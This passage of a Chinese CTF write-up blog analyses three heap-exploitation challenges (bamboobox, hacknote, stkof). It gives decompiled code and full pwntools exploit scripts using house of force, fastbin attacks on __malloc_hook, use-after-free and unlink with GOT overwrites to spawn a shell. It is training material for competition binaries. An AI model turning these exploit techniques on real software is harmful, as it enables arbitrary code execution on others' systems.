  int v2; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !qword_6020C8[2 * i] )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        qword_6020C8[2 * i] = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(qword_6020C8[2 * i] + (signed int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}

(&itemlist + 4 i):存放 name 的大小

qword_6020C8[2 * i]:存放 chunk 的地址

edit

unsigned __int64 change_item()
{
  int v0; // ST08_4
  int v2; // [rsp+4h] [rbp-2Ch]
  char buf; // [rsp+10h] [rbp-20h]
  char nptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( qword_6020C8[2 * v2] )
    {
      printf("Please enter the length of item name:", &buf);
      read(0, &nptr, 8uLL);
      v0 = atoi(&nptr);
      printf("Please enter the new name of the item:", &nptr);
      *(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

大小没有限制,可以导致堆溢出。

free

unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( qword_6020C8[2 * v1] )
    {
      free((void *)qword_6020C8[2 * v1]);
      qword_6020C8[2 * v1] = 0LL;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

show

int show_item()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( qword_6020C8[2 * i] )
      printf("%d : %s", (unsigned int)i, qword_6020C8[2 * i]);
  }
  return puts(byte_401089);
}

magic

void __noreturn magic()
{
  int fd; // ST0C_4
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}

程序退出时会调用goodbye函数,只要想办法把goodbye覆盖为magic即可get flag

这题考的应该就是House of force,但是buu的flag路径肯定不对,所以本地创建一个flag进行调试

House of force将goodbye覆盖成magic,那么退出的时候,就可以调用magic

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('node3.buuoj.cn', 26779)
    libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)
magic = elf.sym['magic']

def add(length,context):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Please enter the length of item name:")
    p.sendline(str(length))
    p.recvuntil("Please enter the name of item:")
    p.send(context)

def edit(idx,length,context):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.recvuntil("Please enter the index of item:")
    p.sendline(str(idx))
    p.recvuntil("Please enter the length of item name:")
    p.sendline(str(length))
    p.recvuntil("Please enter the new name of the item:")
    p.send(context)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline("4")
    p.recvuntil("Please enter the index of item:")
    p.sendline(str(idx))

def show():
    p.sendlineafter("Your choice:", "1")

def exit():
    p.sendlineafter(":", "5")

add(0x60,'aaaa')
pd = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
edit(0,len(pd),pd)
gdb.attach(p)
size = -0x90 - 0x10
add(size,'aaaa')
pd = p64(0) + p64(magic) 
add(0x10,pd)

#exit()
p.interactive()

思路2

这题的got表可改,overlaping chunk

只要got表可改,有溢出,很多题目都可以用overlaping chunk,这个洞真的好用

EXP2

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    one = [0x45226,0x4527a,0xf0364,0xf1207]
else:
    p = remote('node3.buuoj.cn', 26779)
    libc = ELF('./libc-2.23.so', checksec=False)
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)

def add(length,context):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Please enter the length of item name:")
    p.sendline(str(length))
    p.recvuntil("Please enter the name of item:")
    p.send(context)

def edit(idx,length,context):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.recvuntil("Please enter the index of item:")
    p.sendline(str(idx))
    p.recvuntil("Please enter the length of item name:")
    p.sendline(str(length))
    p.recvuntil("Please enter the new name of the item:")
    p.send(context)

def free(idx):
    p.recvuntil("Your choice:")
    p.sendline("4")
    p.recvuntil("Please enter the index of item:")
    p.sendline(str(idx))

def show():
    p.sendlineafter("Your choice:", "1")

def exit():
    p.sendlineafter(":", "5")

add(0x58,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
add(0x60,'aaaa') #3
pd = 'a'*0x58 + '\xe1'
edit(0,len(pd),pd)
free(1)
add(0x60,'aaaa')

show()
main_arean = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('main_arean = ' + hex(main_arean))
success('libc_base = ' + hex(libc_base))

add(0x60,'aaaa')
free(2)
edit(4,0x8,p64(fake_chunk))

add(0x60,'aaaa')
add(0x60,'aaaa')
pd = 'a'*0xb + p64(libc_base + one[1]) + p64(realloc+13) 
edit(5,len(pd),pd)

p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Please enter the length of item name:")
p.sendline('60')
p.interactive()

pwnable_hacknote

思路

保护

[*] '/root/CTF/Pwn/pwnable_hacknote/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    #ubuntu16

add

unsigned int sub_8048646()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = sub_804862B;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

free

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

UAF

show

unsigned int sub_80488A5()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

单纯的UAF,泄露libc,

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='i386', endian='el', os='linux')
#context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('node3.buuoj.cn', 26567)
    libc = ELF('./libc-2.23.so', checksec=False)
elf = ELF('./chall', checksec=False)
puts_got=elf.got['puts']

def add(size,Content):
    p.sendlineafter('Your choice :','1')
    p.sendlineafter('Note size :',str(size))
    p.sendafter('Content :',Content)

def free(idx):
    p.sendlineafter('Your choice :','2')
    p.sendlineafter('Index :',str(idx))

def show(idx):
    p.sendlineafter('Your choice :','3')
    p.sendlineafter('Index :',str(idx))

add(0x30,"aaaa") #0
add(0x30,"aaaa") #1
free(0) 
free(1)
pd = p32(0x0804862b) + p32(elf.got['puts'])
add(0x8,pd) #idx 3 <-> 0
show(0)
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']

free(2)
pd = p32(system) + "||sh"
add(0x8,pd)
show(0)
p.interactive()

hitcon2014_stkof

思路

保护

[*] '/root/CTF/Pwn/hitcon2014_stkof/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    #ubuntu16

add

signed __int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  ::s[++dword_602100] = v2;
  printf("%d\n", (unsigned int)dword_602100, size);
  return 0LL;
}

edit

signed __int64 sub_4009E8()
{
  signed __int64 result; // rax
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s; // [rsp+20h] [rbp-70h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v2 = atol(&s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v2] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  n = atoll(&s);
  ptr = ::s[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

堆溢出

free

signed __int64 sub_400B07()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v1] )
    return 0xFFFFFFFFLL;
  free(::s[v1]);
  ::s[v1] = 0LL;
  return 0LL;
}

无UAF

show

signed __int64 sub_400BA9()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s; // [rsp+10h] [rbp-70h]
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v1] )
    return 0xFFFFFFFFLL;
  if ( strlen(::s[v1]) <= 3 )
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}

不是直接输出堆内容,所以不能泄露libc


由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区 , 所以我们最好最初的申请一个 chunk 把缓冲区清一下,利用unlink来泄露libc

EXP

#coding:utf8
from pwn import *
from easyLibc import *

sh = process('./chall')
#sh = remote('node3.buuoj.cn',28814)
elf = ELF('./chall')
strlen_got = elf.got['strlen']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
heap_ptr_addr = 0x0000000000602150

def add(size):
   sh.sendline('1')
   sh.sendline(str(size))
   sh.recvuntil('OK')

def edit(index,size,content):
   sh.sendline('2')
   sh.sendline(str(index))
   sh.sendline(str(size))
   sh.send(content)
   sh.recvuntil('OK')

def delete(index):
   sh.sendline('3')
   sh.sendline(str(index))
def show(index):
   sh.sendline('4')
   sh.sendline(str(index))
   sh.recvuntil('OK')

#1,消耗内存碎片,使得后面的chunk可以相邻
add(0x1000)
#2
add(0x80)
#3
add(0x80)
#4
add(0x10)
edit(4,0x8,'/bin/sh\x00')

#伪造好fd和bk,然后伪造好chunk3的prev、size
fake_chunk = p64(0) + p64(0x81)
fake_chunk += p64(heap_ptr_addr - 0x18) + p64(heap_ptr_addr - 0x10)
fake_chunk = fake_chunk.ljust(0x80,'a')
edit(2,0x90,fake_chunk + p64(0x80) + p64(0x90))
#unlink
delete(3)
#现在可以控制堆指针了
payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
gdb.attach(sh)
#修改strlen的got表为puts的plt表
edit(0,0x8,p64(puts_plt))
#泄露free的got表地址
show(1)
sh.recv(1)
free_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = easyLibc('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free的got表为system的地址
edit(1,0x8,p64(system_addr))
#getshell
delete(4)
sh.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇